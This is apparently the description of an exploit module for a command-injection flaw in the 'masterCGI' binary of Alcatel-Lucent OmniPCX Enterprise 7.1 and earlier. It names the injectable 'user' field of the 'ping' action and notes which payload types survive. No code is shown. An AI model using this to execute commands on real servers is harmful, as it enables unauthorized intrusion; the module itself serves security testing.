          This module abuses a metacharacter injection vulnerability in the
        HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
        Communication Server 7.1 and earlier. The Unified Maintenance Tool
        contains a 'masterCGI' binary which allows an unauthenticated attacker
        to execute arbitrary commands by specifing shell metacharaters as the
        'user' within the 'ping' action to obtain 'httpd' user access. This
        module only supports command line payloads, as the httpd process kills
        the reverse/bind shell spawn after the HTTP 200 OK response.
